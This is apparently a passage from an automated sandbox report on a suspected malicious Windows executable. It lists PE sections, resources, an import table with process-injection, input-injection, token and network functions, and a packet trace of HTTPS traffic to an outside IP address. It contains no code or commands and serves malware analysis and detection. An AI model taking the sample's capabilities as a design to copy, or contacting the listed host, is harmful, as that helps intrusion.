.rsrc	0xfb000	0xf7d5f	0xf7e00	ceb6bcaf6eba18deca9c692827bf05dd	False	0.9149253025718608	data	7.848959409713496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1f3000	0xa74	0xc00	5ddb0e422ace102fe530e589a0cbec6f	False	0.4850260416666667	data	5.139847116863034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xfb5d0	0x3a00	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.4548760775862069
SVG	0xfefd0	0x46d	SVG Scalable Vector Graphics image	English	United States	0.3909973521624007
RT_ICON	0xff440	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xff568	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xff690	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	Great Britain	0.7730496453900709
RT_ICON	0xffaf8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	Great Britain	0.6629924953095685
RT_ICON	0x100ba0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	Great Britain	0.578734439834025
RT_ICON	0x103148	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	English	Great Britain	0.5426901275389703
RT_ICON	0x107370	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	English	Great Britain	0.42431681059978704
RT_ICON	0x117b98	0xd90d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.000467920453523
RT_MENU	0x1254a8	0x1856	data	English	United States	0.365008025682183
RT_MENU	0x126d00	0x15f4	data	English	United States	0.36850533807829183
RT_MENU	0x1282f4	0x1ff0	data	English	United States	0.2844911937377691
RT_MENU	0x12a2e4	0x50	data	English	Great Britain	0.9
RT_STRING	0x12a334	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0x12a8c8	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0x12af54	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0x12b3e4	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0x12b9e0	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0x12c03c	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0x12c4a4	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0x12c5fc	0xc62f0	data			1.0003153641470386
RT_GROUP_ICON	0x1f28ec	0x5a	data	English	Great Britain	0.7888888888888889
RT_GROUP_ICON	0x1f2948	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x1f295c	0x14	data	English	Great Britain	1.15
RT_MANIFEST	0x1f2970	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, GetFullPathNameW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, EnterCriticalSection, DuplicateHandle, GetStdHandle, CreatePipe, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetSystemTimeAsFileTime, CreateThread, GetCurrentProcess, GetCurrentThread, LeaveCriticalSection, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, TlsAlloc, ResetEvent, WaitForSingleObjectEx, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, CloseHandle, WriteConsoleW, MoveFileW, RtlCaptureContext
USER32.dll	GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetWindowLongW, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongPtrW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, SetWindowLongPtrW, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, IsCharUpperW, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, GetClipboardData, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, IsCharLowerW, IsCharAlphaNumericW, IsCharAlphaW, GetKeyboardLayoutNameW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, SetMenuDefaultItem, CloseClipboard, GetWindowRect, SetUserObjectSecurity, IsClipboardFormatAvailable, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, OpenClipboard, GetWindowLongPtrW
GDI32.dll	EndPath, DeleteObject, GetDeviceCaps, ExtCreatePen, StrokePath, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, GetTextExtentPoint32W, CreateCompatibleBitmap, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StretchBlt, SelectObject, CreateCompatibleDC, StrokeAndFillPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegSetValueExW, GetSecurityDescriptorDacl, GetAclInformation, RegCreateKeyExW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW, GetUserNameW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	VariantChangeType, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, VariantTimeToSystemTime, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, VariantInit, VariantClear, VariantCopy, SysAllocString, SafeArrayCreateVector, VarR8FromDec, SafeArrayAllocDescriptorEx, SafeArrayAllocData, SysStringLen, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, SysReAllocString, SafeArrayAccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
English	Great Britain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 14:12:01.113811970 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:01.113867044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:01.113944054 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:01.126435041 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:01.126451969 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:01.944242001 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:01.944397926 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:01.949330091 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:01.949347019 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:01.949686050 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:01.962946892 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.007407904 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.653601885 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.653631926 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.653647900 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.653773069 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.653806925 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.653858900 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.663743973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.663763046 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.663847923 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.663856983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.663901091 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.668504000 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.668519020 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.668606997 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.668615103 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.668649912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.672271967 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.672286987 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.672384977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.672393084 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.672436953 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.674415112 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.674429893 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.674508095 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.674515009 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.674557924 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.675575972 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.676232100 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.676246881 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.676322937 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.676328897 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.676373005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.678080082 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.678095102 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.678136110 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.678143024 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.678172112 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.678179979 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.680706978 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.680721045 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.680782080 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.680788994 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.680821896 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.680830956 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.682821035 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.682836056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.682909012 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.682918072 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.682960033 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.684684992 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.684701920 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.684767962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.684772968 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.684814930 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.685878038 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.685893059 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.685956955 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.685962915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.686000109 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.687549114 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.687563896 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.687613010 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.687619925 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.687647104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.687663078 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.709363937 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.709379911 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.709455967 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.709464073 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.709503889 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.729186058 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.729199886 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.729262114 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.729269981 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.729309082 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.730535984 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.730551004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.730609894 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.730617046 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.730655909 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.732112885 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.732131958 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.732187033 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.732193947 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.732228994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.733386993 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.733400106 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.733444929 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.733450890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.733474970 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.733486891 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.735075951 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.735089064 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.735133886 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.735140085 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.735177040 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.736983061 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.736994982 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.737055063 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.737059116 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.737097979 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.738003016 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.738015890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.738066912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.738073111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.738095045 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.738104105 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.797092915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.797108889 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.797174931 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.797205925 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.797250032 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.816586971 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.816615105 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.816654921 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.816663980 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.816711903 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.816724062 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.817926884 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.817950964 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.818001986 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.818006992 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.818046093 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.819364071 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.819391966 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.819426060 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.819432020 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.819442034 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.819472075 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.819750071 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.820688963 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.820703983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.820759058 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.820763111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.820791006 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.820802927 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.822179079 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.822194099 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.822259903 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.822264910 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.822304010 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.823266983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.823288918 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.823339939 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.823344946 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:02.823385000 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:02.874562025 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.230978966 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.231004953 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.231101036 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.231129885 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.231143951 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.231178045 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.232158899 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.232177019 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.232243061 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.232248068 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.232290983 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.233232021 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.233247042 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.233304977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.233315945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.233357906 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.235297918 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.235313892 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.235367060 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.235394955 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.235430956 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.235937119 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.235953093 CEST	443	49730	83.140.241.4	192.168.2.4
